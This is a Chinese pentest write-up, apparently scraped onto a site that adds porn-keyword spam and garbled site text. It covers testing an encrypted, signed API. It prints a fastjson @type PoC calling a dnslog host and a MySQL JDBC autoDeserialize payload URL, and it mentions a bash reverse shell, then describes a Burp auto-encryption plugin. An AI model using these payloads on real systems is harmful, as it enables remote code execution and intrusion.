日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【网络安全】记一次接口加密测试

發(fā)布時(shí)間:2025/3/21 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】记一次接口加密测试 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

之前接到一個(gè)接口測(cè)試項(xiàng)目,就提供了一個(gè)demo源碼和接口設(shè)計(jì)文檔,文檔里一共有15個(gè)接口。

本來(lái)以為接口測(cè)試,只要把參數(shù)拼接上去測(cè)測(cè)就ok了(數(shù)據(jù)是json格式),但看到設(shè)計(jì)文檔里說(shuō)數(shù)據(jù)又得做簽名又得做加密,這樣測(cè)試就變得繁瑣了,掃描器也掃不了。
沒(méi)加密發(fā)送,返回會(huì)顯示解密失敗。
?

其實(shí)是有幾種解決方案的,寫(xiě)一個(gè)代理服務(wù)器,經(jīng)過(guò)的時(shí)候做數(shù)據(jù)加密處理啥的,另一個(gè)就是寫(xiě)個(gè)burp插件,做請(qǐng)求前的數(shù)據(jù)自動(dòng)加密,這個(gè)其實(shí)用過(guò)chunked編碼插件的就很容易理解。
在這里我打算選擇后者,其實(shí)burp本身就是一個(gè)代理服務(wù)器,所以代理部分就不需要我們操心了,我們只需要解決數(shù)據(jù)處理部分。

【點(diǎn)擊查看網(wǎng)絡(luò)安全學(xué)攻略·資料】

fastjson利用

在干之前還是得先看看demo源碼有啥,因?yàn)檫€不清楚具體的簽名和加密的細(xì)節(jié)。
目標(biāo)系統(tǒng)是基于java開(kāi)發(fā)的,demo當(dāng)然也是java了,項(xiàng)目是用mvn管理的,IDEA自帶mvn,就重新編譯打包一下,運(yùn)行jar包運(yùn)行的是一個(gè)spingboot應(yīng)用,但demo里并沒(méi)有提供接口,所以其實(shí)沒(méi)啥用。


所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依賴(lài)包,提交的數(shù)據(jù)都是json的,其實(shí)也猜到一些,這里可以看到fastjson1.2.58,一個(gè)存在漏洞的版本,而目標(biāo)如果一樣的話,那就可以先獲取高危一枚。

雖然還沒(méi)搞定加解密,先提交poc 嘗試
{"@type":“java.net.Inet4Address”,“val”:“123.3l6h3t.dnslog.cn”}

目標(biāo)成功解析

然后上mysql connector payload。
github有一個(gè)項(xiàng)目也一鍵搭建一個(gè)faker mysql
https://github.com/fnmsd/MySQL_Fake_Server
讓目標(biāo)發(fā)送如下,會(huì)返回一個(gè)執(zhí)行的序列化對(duì)象,從而讓目標(biāo)反序列化執(zhí)行,構(gòu)造的參數(shù)放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下,解析客戶端發(fā)送的user字段,這里調(diào)用cc10執(zhí)行bash反彈。

burp插件設(shè)計(jì)

回頭再看看其他源碼,有個(gè)XXXCashTest.java,是用于客戶端提交數(shù)據(jù)測(cè)試的,隨便找到一個(gè)方法,commonApplyDto是接口參數(shù)的類(lèi),通過(guò)fastjson序列化成字符串,將字符串使用AES加密,作為data的參數(shù)值,使用RSA私鑰簽名作為sign的參數(shù)值,然后再提交。他這里是loadPemKey讀取本地私鑰文件。

知道他怎么處理的插件就好些了,關(guān)于插件編寫(xiě)和調(diào)試流程我之前有寫(xiě)過(guò)一篇文章簡(jiǎn)單介紹了下,也可以參考先知上的一篇文章https://xz.aliyun.com/t/7065
chunked編碼插件可實(shí)現(xiàn)手動(dòng)編碼和自動(dòng)編碼功能,就以他為模板改,先從github下載源碼
https://github.com/c0ny1/chunked-coding-converter
根據(jù)原始菜單功能,找到encoding的動(dòng)作事件

里面會(huì)調(diào)用Transfer.encoding對(duì)請(qǐng)求數(shù)據(jù)處理

這和burp代理事件調(diào)用的是同個(gè)方法,這樣就可以一次性將手動(dòng)和自動(dòng)加密都搞定了。

把demo的相關(guān)類(lèi)放到插件項(xiàng)目里,然后調(diào)整如下,為了方便插件使用,我新增一個(gè)getPemKey()方法,將私鑰寫(xiě)死,方便使用,然后生成新的body,需要注意的是參數(shù)值得手動(dòng)做URL編碼。

最后有個(gè)頭部的iter迭代搜索,如果匹配到content-type,那么就統(tǒng)一修改成x-www-form,
這個(gè)是為啥呢,是這樣,因?yàn)橐獪y(cè)試的接口較多,而且參數(shù)也比較多,我想使用xray來(lái)掃描,那么就得將原始數(shù)據(jù)包先經(jīng)過(guò)xray,xray做解析,然后再發(fā)給burp做加密,最終發(fā)送。
流程圖大致如下

但有個(gè)問(wèn)題,因?yàn)樵O(shè)計(jì)文檔里說(shuō)明提交使用application/x-www-form-urlencoded,所以在burpsuite1構(gòu)造json數(shù)據(jù)提交給xray的時(shí)候,xray如果識(shí)別到是application/x-www-form-urlencoded,他不會(huì)當(dāng)做json數(shù)據(jù)處理,只會(huì)當(dāng)成普通表單數(shù)據(jù),而json數(shù)據(jù)里沒(méi)有等號(hào),所以會(huì)把整個(gè)json當(dāng)成key做URL編碼,然后將payload作為value填充,大概如下,這種server肯定沒(méi)法正常處理,正常來(lái)說(shuō)應(yīng)該對(duì)json里的參數(shù)值做fuzz的。 (這里Content-Type忽略,測(cè)試的時(shí)候手動(dòng)改過(guò))

而只有當(dāng)Content-Type: application/json時(shí),才會(huì)正常解析,但這樣提交到server就不能做正常處理,server端只認(rèn)application/x-www-form-urlencoded,所以才在插件里做了這么一個(gè)轉(zhuǎn)換。最終如下

至此burp插件寫(xiě)完了,編譯打包,然后在burpsuite2(其實(shí)是找了一臺(tái)單獨(dú)的server運(yùn)行)加載

自動(dòng)編碼配置,右鍵菜單,勾選proxy即可。

xray構(gòu)造的數(shù)據(jù)包

自動(dòng)加密后的

到此接口測(cè)試準(zhǔn)備就緒,后續(xù)就是常規(guī)的web滲透階段,愉快的在burpsuite1里構(gòu)造測(cè)試數(shù)據(jù)包,并聯(lián)動(dòng)xray進(jìn)行自動(dòng)化測(cè)試。

總結(jié)

  • fastjson的利用,poc通過(guò)dnslog來(lái)快速驗(yàn)證,fake mysql server的使用。
  • 接口加密自動(dòng)化burp插件的編寫(xiě)。
  • burp1-xray-burp2聯(lián)動(dòng)來(lái)實(shí)現(xiàn)手動(dòng)+自動(dòng)化測(cè)試。
  • Content-type字段的問(wèn)題,xray解析json數(shù)據(jù)需要為application/json,而server需要為application/x-www-form-urlencoded
  • 最后 ·關(guān)注私信我獲取網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

    總結(jié)

    以上是生活随笔為你收集整理的【网络安全】记一次接口加密测试的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。